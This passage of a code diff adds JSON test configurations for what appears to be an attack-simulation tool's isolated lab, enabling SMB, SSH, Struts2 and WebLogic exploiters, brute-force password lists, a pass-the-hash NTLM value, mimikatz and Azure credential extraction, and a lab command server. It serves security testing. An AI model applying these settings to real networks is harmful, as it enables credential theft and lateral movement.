+ "MSSQLFinger",
+ "ElasticFinger"
+ ]
+ },
+ "dropper": {
+ "dropper_date_reference_path_linux": "/bin/sh",
+ "dropper_date_reference_path_windows": "%windir%\\system32\\kernel32.dll",
+ "dropper_set_date": true,
+ "dropper_target_path_linux": "/tmp/monkey",
+ "dropper_target_path_win_32": "C:\\Windows\\temp\\monkey32.exe",
+ "dropper_target_path_win_64": "C:\\Windows\\temp\\monkey64.exe",
+ "dropper_try_move_first": true
+ },
+ "exploits": {
+ "exploit_lm_hash_list": [],
+ "exploit_ntlm_hash_list": [],
+ "exploit_ssh_keys": []
+ },
+ "general": {
+ "keep_tunnel_open_time": 1,
+ "monkey_dir_name": "monkey_dir",
+ "singleton_mutex_name": "{2384ec59-0df8-4ab9-918c-843740924a28}"
+ },
+ "kill_file": {
+ "kill_file_path_linux": "/var/run/monkey.not",
+ "kill_file_path_windows": "%windir%\\monkey.not"
+ },
+ "logging": {
+ "dropper_log_path_linux": "/tmp/user-1562",
+ "dropper_log_path_windows": "%temp%\\~df1562.tmp",
+ "monkey_log_path_linux": "/tmp/user-1563",
+ "monkey_log_path_windows": "%temp%\\~df1563.tmp",
+ "send_log_to_server": true
+ }
+ },
+ "monkey": {
+ "behaviour": {
+ "PBA_linux_filename": "",
+ "PBA_windows_filename": "",
+ "custom_PBA_linux_cmd": "",
+ "custom_PBA_windows_cmd": "",
+ "self_delete_in_cleanup": true,
+ "serialize_config": false,
+ "use_file_logging": true
+ },
+ "general": {
+ "alive": true,
+ "post_breach_actions": []
+ },
+ "life_cycle": {
+ "max_iterations": 1,
+ "retry_failed_explotation": true,
+ "timeout_between_iterations": 100,
+ "victims_max_exploit": 7,
+ "victims_max_find": 30
+ },
+ "system_info": {
+ "collect_system_info": true,
+ "extract_azure_creds": true,
+ "should_use_mimikatz": true
+ }
+ },
+ "network": {
+ "ping_scanner": {
+ "ping_scan_timeout": 1000
+ },
+ "tcp_scanner": {
+ "HTTP_PORTS": [
+ 80,
+ 8080,
+ 443,
+ 8008,
+ 7001
+ ],
+ "tcp_scan_get_banner": true,
+ "tcp_scan_interval": 0,
+ "tcp_scan_timeout": 3000,
+ "tcp_target_ports": [
+ 22,
+ 2222,
+ 445,
+ 135,
+ 3389,
+ 80,
+ 8080,
+ 443,
+ 8008,
+ 3306,
+ 9200,
+ 7001
+ ]
+ }
+ }
+}
diff --git a/envs/monkey_zoo/blackbox/island_configs/SMB_MIMIKATZ.conf b/envs/monkey_zoo/blackbox/island_configs/SMB_MIMIKATZ.conf
new file mode 100644
index 000000000..b5001025f
--- /dev/null
+++ b/envs/monkey_zoo/blackbox/island_configs/SMB_MIMIKATZ.conf
@@ -0,0 +1,182 @@
+{
+ "basic": {
+ "credentials": {
+ "exploit_password_list": [
+ "Password1!",
+ "Ivrrw5zEzs"
+ ],
+ "exploit_user_list": [
+ "Administrator",
+ "m0nk3y",
+ "user"
+ ]
+ },
+ "general": {
+ "should_exploit": true
+ }
+ },
+ "basic_network": {
+ "general": {
+ "blocked_ips": [],
+ "depth": 2,
+ "local_network_scan": false,
+ "subnet_scan_list": [
+ "10.2.2.44",
+ "10.2.2.15"
+ ]
+ },
+ "network_analysis": {
+ "inaccessible_subnets": []
+ }
+ },
+ "cnc": {
+ "servers": {
+ "command_servers": [
+ "10.2.2.251:5000"
+ ],
+ "current_server": "10.2.2.251:5000",
+ "internet_services": [
+ "monkey.guardicore.com",
+ "www.google.com"
+ ]
+ }
+ },
+ "exploits": {
+ "general": {
+ "exploiter_classes": [
+ "SmbExploiter"
+ ],
+ "skip_exploit_if_file_exist": false
+ },
+ "ms08_067": {
+ "ms08_067_exploit_attempts": 5,
+ "remote_user_pass": "Password1!",
+ "user_to_add": "Monkey_IUSER_SUPPORT"
+ },
+ "rdp_grinder": {
+ "rdp_use_vbs_download": true
+ },
+ "sambacry": {
+ "sambacry_folder_paths_to_guess": [
+ "/",
+ "/mnt",
+ "/tmp",
+ "/storage",
+ "/export",
+ "/share",
+ "/shares",
+ "/home"
+ ],
+ "sambacry_shares_not_to_check": [
+ "IPC$",
+ "print$"
+ ],
+ "sambacry_trigger_timeout": 5
+ },
+ "smb_service": {
+ "smb_download_timeout": 300,
+ "smb_service_name": "InfectionMonkey"
+ }
+ },
+ "internal": {
+ "classes": {
+ "finger_classes": [
+ "SMBFinger",
+ "SSHFinger",
+ "PingScanner",
+ "HTTPFinger",
+ "MySQLFinger",
+ "MSSQLFinger",
+ "ElasticFinger"
+ ]
+ },
+ "dropper": {
+ "dropper_date_reference_path_linux": "/bin/sh",
+ "dropper_date_reference_path_windows": "%windir%\\system32\\kernel32.dll",
+ "dropper_set_date": true,
+ "dropper_target_path_linux": "/tmp/monkey",
+ "dropper_target_path_win_32": "C:\\Windows\\temp\\monkey32.exe",
+ "dropper_target_path_win_64": "C:\\Windows\\temp\\monkey64.exe",
+ "dropper_try_move_first": true
+ },
+ "exploits": {
+ "exploit_lm_hash_list": [],
+ "exploit_ntlm_hash_list": [],
+ "exploit_ssh_keys": []
+ },
+ "general": {
+ "keep_tunnel_open_time": 1,
+ "monkey_dir_name": "monkey_dir",
+ "singleton_mutex_name": "{2384ec59-0df8-4ab9-918c-843740924a28}"
+ },
+ "kill_file": {
+ "kill_file_path_linux": "/var/run/monkey.not",
+ "kill_file_path_windows": "%windir%\\monkey.not"
+ },
+ "logging": {
+ "dropper_log_path_linux": "/tmp/user-1562",
+ "dropper_log_path_windows": "%temp%\\~df1562.tmp",
+ "monkey_log_path_linux": "/tmp/user-1563",
+ "monkey_log_path_windows": "%temp%\\~df1563.tmp",
+ "send_log_to_server": true
+ }
+ },
+ "monkey": {
+ "behaviour": {
+ "PBA_linux_filename": "",
+ "PBA_windows_filename": "",
+ "custom_PBA_linux_cmd": "",
+ "custom_PBA_windows_cmd": "",
+ "self_delete_in_cleanup": true,
+ "serialize_config": false,
+ "use_file_logging": true
+ },
+ "general": {
+ "alive": true,
+ "post_breach_actions": []
+ },
+ "life_cycle": {
+ "max_iterations": 1,
+ "retry_failed_explotation": true,
+ "timeout_between_iterations": 100,
+ "victims_max_exploit": 7,
+ "victims_max_find": 30
+ },
+ "system_info": {
+ "collect_system_info": true,
+ "extract_azure_creds": true,
+ "should_use_mimikatz": true
+ }
+ },
+ "network": {
+ "ping_scanner": {
+ "ping_scan_timeout": 1000
+ },
+ "tcp_scanner": {
+ "HTTP_PORTS": [
+ 80,
+ 8080,
+ 443,
+ 8008,
+ 7001
+ ],
+ "tcp_scan_get_banner": true,
+ "tcp_scan_interval": 0,
+ "tcp_scan_timeout": 3000,
+ "tcp_target_ports": [
+ 22,
+ 2222,
+ 445,
+ 135,
+ 3389,
+ 80,
+ 8080,
+ 443,
+ 8008,
+ 3306,
+ 9200,
+ 7001
+ ]
+ }
+ }
+}
diff --git a/envs/monkey_zoo/blackbox/island_configs/SMB_PTH.conf b/envs/monkey_zoo/blackbox/island_configs/SMB_PTH.conf
new file mode 100644
index 000000000..d17e283c8
--- /dev/null
+++ b/envs/monkey_zoo/blackbox/island_configs/SMB_PTH.conf
@@ -0,0 +1,180 @@
+{
+ "basic": {
+ "credentials": {
+ "exploit_password_list": [
+ "Password1!"
+ ],
+ "exploit_user_list": [
+ "Administrator",
+ "m0nk3y",
+ "user"
+ ]
+ },
+ "general": {
+ "should_exploit": true
+ }
+ },
+ "basic_network": {
+ "general": {
+ "blocked_ips": [],
+ "depth": 2,
+ "local_network_scan": false,
+ "subnet_scan_list": [
+ "10.2.2.15"
+ ]
+ },
+ "network_analysis": {
+ "inaccessible_subnets": []
+ }
+ },
+ "cnc": {
+ "servers": {
+ "command_servers": [
+ "10.2.2.251:5000"
+ ],
+ "current_server": "10.2.2.251:5000",
+ "internet_services": [
+ "monkey.guardicore.com",
+ "www.google.com"
+ ]
+ }
+ },
+ "exploits": {
+ "general": {
+ "exploiter_classes": [
+ "SmbExploiter"
+ ],
+ "skip_exploit_if_file_exist": false
+ },
+ "ms08_067": {
+ "ms08_067_exploit_attempts": 5,
+ "remote_user_pass": "Password1!",
+ "user_to_add": "Monkey_IUSER_SUPPORT"
+ },
+ "rdp_grinder": {
+ "rdp_use_vbs_download": true
+ },
+ "sambacry": {
+ "sambacry_folder_paths_to_guess": [
+ "/",
+ "/mnt",
+ "/tmp",
+ "/storage",
+ "/export",
+ "/share",
+ "/shares",
+ "/home"
+ ],
+ "sambacry_shares_not_to_check": [
+ "IPC$",
+ "print$"
+ ],
+ "sambacry_trigger_timeout": 5
+ },
+ "smb_service": {
+ "smb_download_timeout": 300,
+ "smb_service_name": "InfectionMonkey"
+ }
+ },
+ "internal": {
+ "classes": {
+ "finger_classes": [
+ "SMBFinger",
+ "SSHFinger",
+ "PingScanner",
+ "HTTPFinger",
+ "MySQLFinger",
+ "MSSQLFinger",
+ "ElasticFinger"
+ ]
+ },
+ "dropper": {
+ "dropper_date_reference_path_linux": "/bin/sh",
+ "dropper_date_reference_path_windows": "%windir%\\system32\\kernel32.dll",
+ "dropper_set_date": true,
+ "dropper_target_path_linux": "/tmp/monkey",
+ "dropper_target_path_win_32": "C:\\Windows\\temp\\monkey32.exe",
+ "dropper_target_path_win_64": "C:\\Windows\\temp\\monkey64.exe",
+ "dropper_try_move_first": true
+ },
+ "exploits": {
+ "exploit_lm_hash_list": [],
+ "exploit_ntlm_hash_list": [ "f7e457346f7743daece17258667c936d" ],
+ "exploit_ssh_keys": []
+ },
+ "general": {
+ "keep_tunnel_open_time": 1,
+ "monkey_dir_name": "monkey_dir",
+ "singleton_mutex_name": "{2384ec59-0df8-4ab9-918c-843740924a28}"
+ },
+ "kill_file": {
+ "kill_file_path_linux": "/var/run/monkey.not",
+ "kill_file_path_windows": "%windir%\\monkey.not"
+ },
+ "logging": {
+ "dropper_log_path_linux": "/tmp/user-1562",
+ "dropper_log_path_windows": "%temp%\\~df1562.tmp",
+ "monkey_log_path_linux": "/tmp/user-1563",
+ "monkey_log_path_windows": "%temp%\\~df1563.tmp",
+ "send_log_to_server": true
+ }
+ },
+ "monkey": {
+ "behaviour": {
+ "PBA_linux_filename": "",
+ "PBA_windows_filename": "",
+ "custom_PBA_linux_cmd": "",
+ "custom_PBA_windows_cmd": "",
+ "self_delete_in_cleanup": true,
+ "serialize_config": false,
+ "use_file_logging": true
+ },
+ "general": {
+ "alive": true,
+ "post_breach_actions": []
+ },
+ "life_cycle": {
+ "max_iterations": 1,
+ "retry_failed_explotation": true,
+ "timeout_between_iterations": 100,
+ "victims_max_exploit": 7,
+ "victims_max_find": 30
+ },
+ "system_info": {
+ "collect_system_info": true,
+ "extract_azure_creds": true,
+ "should_use_mimikatz": true
+ }
+ },
+ "network": {
+ "ping_scanner": {
+ "ping_scan_timeout": 1000
+ },
+ "tcp_scanner": {
+ "HTTP_PORTS": [
+ 80,
+ 8080,
+ 443,
+ 8008,
+ 7001
+ ],
+ "tcp_scan_get_banner": true,
+ "tcp_scan_interval": 0,
+ "tcp_scan_timeout": 3000,
+ "tcp_target_ports": [
+ 22,
+ 2222,
+ 445,
+ 135,
+ 3389,
+ 80,
+ 8080,
+ 443,
+ 8008,
+ 3306,
+ 9200,
+ 7001
+ ]
+ }
+ }
+}
diff --git a/envs/monkey_zoo/blackbox/island_configs/SSH.conf b/envs/monkey_zoo/blackbox/island_configs/SSH.conf
new file mode 100644
index 000000000..e96894111
--- /dev/null
+++ b/envs/monkey_zoo/blackbox/island_configs/SSH.conf
@@ -0,0 +1,192 @@
+{
+ "basic": {
+ "credentials": {
+ "exploit_password_list": [
+ "Password1!",
+ "12345678",
+ "^NgDvY59~8"
+ ],
+ "exploit_user_list": [
+ "Administrator",
+ "m0nk3y",
+ "user"
+ ]
+ },
+ "general": {
+ "should_exploit": true
+ }
+ },
+ "basic_network": {
+ "general": {
+ "blocked_ips": [],
+ "depth": 2,
+ "local_network_scan": false,
+ "subnet_scan_list": [
+ "10.2.2.41",
+ "10.2.2.42"
+ ]
+ },
+ "network_analysis": {
+ "inaccessible_subnets": []
+ }
+ },
+ "cnc": {
+ "servers": {
+ "command_servers": [
+ "10.2.2.251:5000"
+ ],
+ "current_server": "10.2.2.251:5000",
+ "internet_services": [
+ "monkey.guardicore.com",
+ "www.google.com"
+ ]
+ }
+ },
+ "exploits": {
+ "general": {
+ "exploiter_classes": [
+ "SmbExploiter",
+ "WmiExploiter",
+ "SSHExploiter",
+ "ShellShockExploiter",
+ "SambaCryExploiter",
+ "ElasticGroovyExploiter",
+ "Struts2Exploiter",
+ "WebLogicExploiter",
+ "HadoopExploiter",
+ "VSFTPDExploiter"
+ ],
+ "skip_exploit_if_file_exist": false
+ },
+ "ms08_067": {
+ "ms08_067_exploit_attempts": 5,
+ "remote_user_pass": "Password1!",
+ "user_to_add": "Monkey_IUSER_SUPPORT"
+ },
+ "rdp_grinder": {
+ "rdp_use_vbs_download": true
+ },
+ "sambacry": {
+ "sambacry_folder_paths_to_guess": [
+ "/",
+ "/mnt",
+ "/tmp",
+ "/storage",
+ "/export",
+ "/share",
+ "/shares",
+ "/home"
+ ],
+ "sambacry_shares_not_to_check": [
+ "IPC$",
+ "print$"
+ ],
+ "sambacry_trigger_timeout": 5
+ },
+ "smb_service": {
+ "smb_download_timeout": 300,
+ "smb_service_name": "InfectionMonkey"
+ }
+ },
+ "internal": {
+ "classes": {
+ "finger_classes": [
+ "SMBFinger",
+ "SSHFinger",
+ "PingScanner",
+ "HTTPFinger",
+ "MySQLFinger",
+ "MSSQLFinger",
+ "ElasticFinger"
+ ]
+ },
+ "dropper": {
+ "dropper_date_reference_path_linux": "/bin/sh",
+ "dropper_date_reference_path_windows": "%windir%\\system32\\kernel32.dll",
+ "dropper_set_date": true,
+ "dropper_target_path_linux": "/tmp/monkey",
+ "dropper_target_path_win_32": "C:\\Windows\\temp\\monkey32.exe",
+ "dropper_target_path_win_64": "C:\\Windows\\temp\\monkey64.exe",
+ "dropper_try_move_first": true
+ },
+ "exploits": {
+ "exploit_lm_hash_list": [],
+ "exploit_ntlm_hash_list": [],
+ "exploit_ssh_keys": []
+ },
+ "general": {
+ "keep_tunnel_open_time": 1,
+ "monkey_dir_name": "monkey_dir",
+ "singleton_mutex_name": "{2384ec59-0df8-4ab9-918c-843740924a28}"
+ },
+ "kill_file": {
+ "kill_file_path_linux": "/var/run/monkey.not",
+ "kill_file_path_windows": "%windir%\\monkey.not"
+ },
+ "logging": {
+ "dropper_log_path_linux": "/tmp/user-1562",
+ "dropper_log_path_windows": "%temp%\\~df1562.tmp",
+ "monkey_log_path_linux": "/tmp/user-1563",
+ "monkey_log_path_windows": "%temp%\\~df1563.tmp",
+ "send_log_to_server": true
+ }
+ },
+ "monkey": {
+ "behaviour": {
+ "PBA_linux_filename": "",
+ "PBA_windows_filename": "",
+ "custom_PBA_linux_cmd": "",
+ "custom_PBA_windows_cmd": "",
+ "self_delete_in_cleanup": true,
+ "serialize_config": false,
+ "use_file_logging": true
+ },
+ "general": {
+ "alive": true,
+ "post_breach_actions": []
+ },
+ "life_cycle": {
+ "max_iterations": 1,
+ "retry_failed_explotation": true,
+ "timeout_between_iterations": 100,
+ "victims_max_exploit": 7,
+ "victims_max_find": 30
+ },
+ "system_info": {
+ "collect_system_info": true,
+ "extract_azure_creds": true,
+ "should_use_mimikatz": true
+ }
+ },
+ "network": {
+ "ping_scanner": {
+ "ping_scan_timeout": 1000
+ },
+ "tcp_scanner": {
+ "HTTP_PORTS": [
+ 80,
+ 8080,
+ 443,
+ 8008,
+ 7001
+ ],
+ "tcp_scan_get_banner": true,
+ "tcp_scan_interval": 0,
+ "tcp_scan_timeout": 3000,
+ "tcp_target_ports": [
+ 22,
+ 2222,
+ 445,
+ 135,
+ 3389,
+ 80,
+ 8080,
+ 443,
+ 8008,
+ 3306,
+ 9200,
+ 7001
+ ]
+ }
+ }
+}
diff --git a/envs/monkey_zoo/blackbox/island_configs/STRUTS2.conf b/envs/monkey_zoo/blackbox/island_configs/STRUTS2.conf
new file mode 100644
index 000000000..30bb135e4
--- /dev/null
+++ b/envs/monkey_zoo/blackbox/island_configs/STRUTS2.conf
@@ -0,0 +1,193 @@
+{
+ "basic": {
+ "credentials": {
+ "exploit_password_list": [
+ "Password1!",
+ "1234",
+ "password",
+ "12345678"
+ ],
+ "exploit_user_list": [
+ "Administrator",
+ "root",
+ "user"
+ ]
+ },
+ "general": {
+ "should_exploit": true
+ }
+ },
+ "basic_network": {
+ "general": {
+ "blocked_ips": [],
+ "depth": 2,
+ "local_network_scan": false,
+ "subnet_scan_list": [
+ "10.2.2.9",
+ "10.2.2.11"
+ ]
+ },
+ "network_analysis": {
+ "inaccessible_subnets": []
+ }
+ },
+ "cnc": {
+ "servers": {
+ "command_servers": [
+ "10.2.2.251:5000"
+ ],
+ "current_server": "10.2.2.251:5000",
+ "internet_services": [
+ "monkey.guardicore.com",
+ "www.google.com"
+ ]
+ }
+ },
+ "exploits": {
+ "general": {
+ "exploiter_classes": [
+ "SmbExploiter",
+ "WmiExploiter",
+ "SSHExploiter",
+ "ShellShockExploiter",
+ "SambaCryExploiter",
+ "ElasticGroovyExploiter",
+ "Struts2Exploiter",
+ "WebLogicExploiter",
+ "HadoopExploiter",
+ "VSFTPDExploiter"
+ ],
+ "skip_exploit_if_file_exist": false
+ },
+ "ms08_067": {
+ "ms08_067_exploit_attempts": 5,
+ "remote_user_pass": "Password1!",
+ "user_to_add": "Monkey_IUSER_SUPPORT"
+ },
+ "rdp_grinder": {
+ "rdp_use_vbs_download": true
+ },
+ "sambacry": {
+ "sambacry_folder_paths_to_guess": [
+ "/",
+ "/mnt",
+ "/tmp",
+ "/storage",
+ "/export",
+ "/share",
+ "/shares",
+ "/home"
+ ],
+ "sambacry_shares_not_to_check": [
+ "IPC$",
+ "print$"
+ ],
+ "sambacry_trigger_timeout": 5
+ },
+ "smb_service": {
+ "smb_download_timeout": 300,
+ "smb_service_name": "InfectionMonkey"
+ }
+ },
+ "internal": {
+ "classes": {
+ "finger_classes": [
+ "SMBFinger",
+ "SSHFinger",
+ "PingScanner",
+ "HTTPFinger",
+ "MySQLFinger",
+ "MSSQLFinger",
+ "ElasticFinger"
+ ]
+ },
+ "dropper": {
+ "dropper_date_reference_path_linux": "/bin/sh",
+ "dropper_date_reference_path_windows": "%windir%\\system32\\kernel32.dll",
+ "dropper_set_date": true,
+ "dropper_target_path_linux": "/tmp/monkey",
+ "dropper_target_path_win_32": "C:\\Windows\\temp\\monkey32.exe",
+ "dropper_target_path_win_64": "C:\\Windows\\temp\\monkey64.exe",
+ "dropper_try_move_first": true
+ },
+ "exploits": {
+ "exploit_lm_hash_list": [],
+ "exploit_ntlm_hash_list": [],
+ "exploit_ssh_keys": []
+ },
+ "general": {
+ "keep_tunnel_open_time": 1,
+ "monkey_dir_name": "monkey_dir",
+ "singleton_mutex_name": "{2384ec59-0df8-4ab9-918c-843740924a28}"
+ },
+ "kill_file": {
+ "kill_file_path_linux": "/var/run/monkey.not",
+ "kill_file_path_windows": "%windir%\\monkey.not"
+ },
+ "logging": {
+ "dropper_log_path_linux": "/tmp/user-1562",
+ "dropper_log_path_windows": "%temp%\\~df1562.tmp",
+ "monkey_log_path_linux": "/tmp/user-1563",
+ "monkey_log_path_windows": "%temp%\\~df1563.tmp",
+ "send_log_to_server": true
+ }
+ },
+ "monkey": {
+ "behaviour": {
+ "PBA_linux_filename": "",
+ "PBA_windows_filename": "",
+ "custom_PBA_linux_cmd": "",
+ "custom_PBA_windows_cmd": "",
+ "self_delete_in_cleanup": true,
+ "serialize_config": false,
+ "use_file_logging": true
+ },
+ "general": {
+ "alive": true,
+ "post_breach_actions": []
+ },
+ "life_cycle": {
+ "max_iterations": 1,
+ "retry_failed_explotation": true,
+ "timeout_between_iterations": 100,
+ "victims_max_exploit": 7,
+ "victims_max_find": 30
+ },
+ "system_info": {
+ "collect_system_info": true,
+ "extract_azure_creds": true,
+ "should_use_mimikatz": true
+ }
+ },
+ "network": {
+ "ping_scanner": {
+ "ping_scan_timeout": 1000
+ },
+ "tcp_scanner": {
+ "HTTP_PORTS": [
+ 80,
+ 8080,
+ 443,
+ 8008,
+ 7001
+ ],
+ "tcp_scan_get_banner": true,
+ "tcp_scan_interval": 0,
+ "tcp_scan_timeout": 3000,
+ "tcp_target_ports": [
+ 22,
+ 2222,
+ 445,
+ 135,
+ 3389,
+ 80,
+ 8080,
+ 443,
+ 8008,
+ 3306,
+ 9200,
+ 7001
+ ]
+ }
+ }
+}
diff --git a/envs/monkey_zoo/blackbox/island_configs/TUNNELING.conf b/envs/monkey_zoo/blackbox/island_configs/TUNNELING.conf
new file mode 100644
index 000000000..a7e84f1b8
--- /dev/null
+++ b/envs/monkey_zoo/blackbox/island_configs/TUNNELING.conf
@@ -0,0 +1,194 @@
+{
+ "basic": {
+ "credentials": {
+ "exploit_password_list": [
+ "Password1!",
+ "3Q=(Ge(+&w]*",
+ "`))jU7L(w}",
+ "12345678"
+ ],
+ "exploit_user_list": [
+ "Administrator",
+ "m0nk3y",
+ "user"
+ ]
+ },
+ "general": {
+ "should_exploit": true
+ }
+ },
+ "basic_network": {
+ "general": {
+ "blocked_ips": [],
+ "depth": 3,
+ "local_network_scan": false,
+ "subnet_scan_list": [
+ "10.2.2.32",
+ "10.2.1.10",
+ "10.2.0.11"
+ ]
+ },
+ "network_analysis": {
+ "inaccessible_subnets": []
+ }
+ },
+ "cnc": {
+ "servers": {
+ "command_servers": [
+ "10.2.2.251:5000"
+ ],
+ "current_server": "10.2.2.251:5000",
+ "internet_services": [
+ "monkey.guardicore.com",
+ "www.google.com"
+ ]
+ }
+ },
+ "exploits": {
+ "general": {
+ "exploiter_classes": [
+ "SmbExploiter",
+ "WmiExploiter",
+ "SSHExploiter",
+ "ShellShockExploiter",
+ "SambaCryExploiter",
+ "ElasticGroovyExploiter",
+ "Struts2Exploiter",
+ "WebLogicExploiter",
+ "HadoopExploiter",
+ "VSFTPDExploiter"
+ ],
+ "skip_exploit_if_file_exist": false
+ },
+ "ms08_067": {
+ "ms08_067_exploit_attempts": 5,
+ "remote_user_pass": "Password1!",
+ "user_to_add": "Monkey_IUSER_SUPPORT"
+ },
+ "rdp_grinder": {
+ "rdp_use_vbs_download": true
+ },
+ "sambacry": {
+ "sambacry_folder_paths_to_guess": [
+ "/",
+ "/mnt",
+ "/tmp",
+ "/storage",
+ "/export",
+ "/share",
+ "/shares",
+ "/home"
+ ],
+ "sambacry_shares_not_to_check": [
+ "IPC$",
+ "print$"
+ ],
+ "sambacry_trigger_timeout": 5
+ },
+ "smb_service": {
+ "smb_download_timeout": 300,
+ "smb_service_name": "InfectionMonkey"
+ }
+ },
+ "internal": {
+ "classes": {
+ "finger_classes": [
+ "SMBFinger",
+ "SSHFinger",
+ "PingScanner",
+ "HTTPFinger",
+ "MySQLFinger",
+ "MSSQLFinger",
+ "ElasticFinger"
+ ]
+ },
+ "dropper": {
+ "dropper_date_reference_path_linux": "/bin/sh",
+ "dropper_date_reference_path_windows": "%windir%\\system32\\kernel32.dll",
+ "dropper_set_date": true,
+ "dropper_target_path_linux": "/tmp/monkey",
+ "dropper_target_path_win_32": "C:\\Windows\\temp\\monkey32.exe",
+ "dropper_target_path_win_64": "C:\\Windows\\temp\\monkey64.exe",
+ "dropper_try_move_first": true
+ },
+ "exploits": {
+ "exploit_lm_hash_list": [],
+ "exploit_ntlm_hash_list": [],
+ "exploit_ssh_keys": []
+ },
+ "general": {
+ "keep_tunnel_open_time": 60,
+ "monkey_dir_name": "monkey_dir",
+ "singleton_mutex_name": "{2384ec59-0df8-4ab9-918c-843740924a28}"
+ },
+ "kill_file": {
+ "kill_file_path_linux": "/var/run/monkey.not",
+ "kill_file_path_windows": "%windir%\\monkey.not"
+ },
+ "logging": {
+ "dropper_log_path_linux": "/tmp/user-1562",
+ "dropper_log_path_windows": "%temp%\\~df1562.tmp",
+ "monkey_log_path_linux": "/tmp/user-1563",
+ "monkey_log_path_windows": "%temp%\\~df1563.tmp",
+ "send_log_to_server": true
+ }
+ },
+ "monkey": {
+ "behaviour": {
+ "PBA_linux_filename": "",
+ "PBA_windows_filename": "",
+ "custom_PBA_linux_cmd": "",
+ "custom_PBA_windows_cmd": "",
+ "self_delete_in_cleanup": true,
+ "serialize_config": false,
+ "use_file_logging": true
+ },
+ "general": {
+ "alive": true,
+ "post_breach_actions": []
+ },
+ "life_cycle": {
+ "max_iterations": 1,
+ "retry_failed_explotation": true,
+ "timeout_between_iterations": 100,
+ "victims_max_exploit": 7,
+ "victims_max_find": 30
+ },
+ "system_info": {
+ "collect_system_info": true,
+ "extract_azure_creds": true,
+ "should_use_mimikatz": true
+ }
+ },
+ "network": {
+ "ping_scanner": {
+ "ping_scan_timeout": 1000
+ },
+ "tcp_scanner": {
+ "HTTP_PORTS": [
+ 80,
+ 8080,
+ 443,
+ 8008,
+ 7001
+ ],
+ "tcp_scan_get_banner": true,
+ "tcp_scan_interval": 0,
+ "tcp_scan_timeout": 3000,
+ "tcp_target_ports": [
+ 22,
+ 2222,
+ 445,
+ 135,
+ 3389,
+ 80,
+ 8080,
+ 443,
+ 8008,
+ 3306,
+ 9200,
+ 7001
+ ]
+ }
+ }
+}
diff --git a/envs/monkey_zoo/blackbox/island_configs/WEBLOGIC.conf b/envs/monkey_zoo/blackbox/island_configs/WEBLOGIC.conf
new file mode 100644
index 000000000..b86b2b566
--- /dev/null
+++ b/envs/monkey_zoo/blackbox/island_configs/WEBLOGIC.conf
@@ -0,0 +1,184 @@
+{
+ "basic": {
+ "credentials": {
+ "exploit_password_list": [
+ "Password1!",
+ "1234",
+ "password",
+ "12345678"
+ ],
+ "exploit_user_list": [
+ "Administrator",
+ "root",
+ "user"
+ ]
+ },
+ "general": {
+ "should_exploit": true
+ }
+ },
+ "basic_network": {
+ "general": {
+ "blocked_ips": [],
+ "depth": 2,
+ "local_network_scan": false,
+ "subnet_scan_list": [
+ "10.2.2.18",
+ "10.2.2.19"
+ ]
+ },
+ "network_analysis": {
+ "inaccessible_subnets": []
+ }
+ },
+ "cnc": {
+ "servers": {
+ "command_servers": [
+ "10.2.2.251:5000"
+ ],
+ "current_server": "10.2.2.251:5000",
+ "internet_services": [
+ "monkey.guardicore.com",
+ "www.google.com"
+ ]
+ }
+ },
+ "exploits": {
+ "general": {
+ "exploiter_classes": [
+ "WebLogicExploiter"
+ ],
+ "skip_exploit_if_file_exist": false
+ },
+ "ms08_067": {
+ "ms08_067_exploit_attempts": 5,
+ "remote_user_pass": "Password1!",
+ "user_to_add": "Monkey_IUSER_SUPPORT"
+ },
+ "rdp_grinder": {
+ "rdp_use_vbs_download": true
+ },
+ "sambacry": {
+ "sambacry_folder_paths_to_guess": [
+ "/",
+ "/mnt",
+ "/tmp",
+ "/storage",
+ "/export",
+ "/share",
+ "/shares",
+ "/home"
+ ],
+ "sambacry_shares_not_to_check": [
+ "IPC$",
+ "print$"
+ ],
+ "sambacry_trigger_timeout": 5
+ },
+ "smb_service": {
+ "smb_download_timeout": 300,
+ "smb_service_name": "InfectionMonkey"
+ }
+ },
+ "internal": {
+ "classes": {
+ "finger_classes": [
+ "SMBFinger",
+ "SSHFinger",
+ "PingScanner",
+ "HTTPFinger",
+ "MySQLFinger",
+ "MSSQLFinger",
+ "ElasticFinger"
+ ]
+ },
+ "dropper": {
+ "dropper_date_reference_path_linux": "/bin/sh",
+ "dropper_date_reference_path_windows": "%windir%\\system32\\kernel32.dll",
+ "dropper_set_date": true,
+ "dropper_target_path_linux": "/tmp/monkey",
+ "dropper_target_path_win_32": "C:\\Windows\\temp\\monkey32.exe",
+ "dropper_target_path_win_64": "C:\\Windows\\temp\\monkey64.exe",
+ "dropper_try_move_first": true
+ },
+ "exploits": {
+ "exploit_lm_hash_list": [],
+ "exploit_ntlm_hash_list": [],
+ "exploit_ssh_keys": []
+ },
+ "general": {
+ "keep_tunnel_open_time": 1,
+ "monkey_dir_name": "monkey_dir",
+ "singleton_mutex_name": "{2384ec59-0df8-4ab9-918c-843740924a28}"
+ },
+ "kill_file": {
+ "kill_file_path_linux": "/var/run/monkey.not",
+ "kill_file_path_windows": "%windir%\\monkey.not"
+ },
+ "logging": {
+ "dropper_log_path_linux": "/tmp/user-1562",
+ "dropper_log_path_windows": "%temp%\\~df1562.tmp",
+ "monkey_log_path_linux": "/tmp/user-1563",
+ "monkey_log_path_windows": "%temp%\\~df1563.tmp",
+ "send_log_to_server": true
+ }
+ },
+ "monkey": {
+ "behaviour": {
+ "PBA_linux_filename": "",
+ "PBA_windows_filename": "",
+ "custom_PBA_linux_cmd": "",
+ "custom_PBA_windows_cmd": "",
+ "self_delete_in_cleanup": true,
+ "serialize_config": false,
+ "use_file_logging": true
+ },
+ "general": {
+ "alive": true,
+ "post_breach_actions": []
+ },
+ "life_cycle": {
+ "max_iterations": 1,
+ "retry_failed_explotation": true,
+ "timeout_between_iterations": 100,
+ "victims_max_exploit": 7,
+ "victims_max_find": 30
+ },
+ "system_info": {
+ "collect_system_info": true,
+ "extract_azure_creds": true,
+ "should_use_mimikatz": true
+ }
+ },
+ "network": {
+ "ping_scanner": {
+ "ping_scan_timeout": 1000
+ },
+ "tcp_scanner": {
+ "HTTP_PORTS": [
+ 80,
+ 8080,
+ 443,
+ 8008,
+ 7001
+ ],
+ "tcp_scan_get_banner": true,
+ "tcp_scan_interval": 0,
+ "tcp_scan_timeout": 3000,
+ "tcp_target_ports": [
+ 22,
+ 2222,
+ 445,
+ 135,
+ 3389,
+ 80,
+ 8080,
+ 443,
+ 8008,
+ 3306,
+ 9200,
+ 7001
+ ]
+ }
+ }
+}
diff --git a/envs/monkey_zoo/blackbox/island_configs/WMI_MIMIKATZ.conf b/envs/monkey_zoo/blackbox/island_configs/WMI_MIMIKATZ.conf
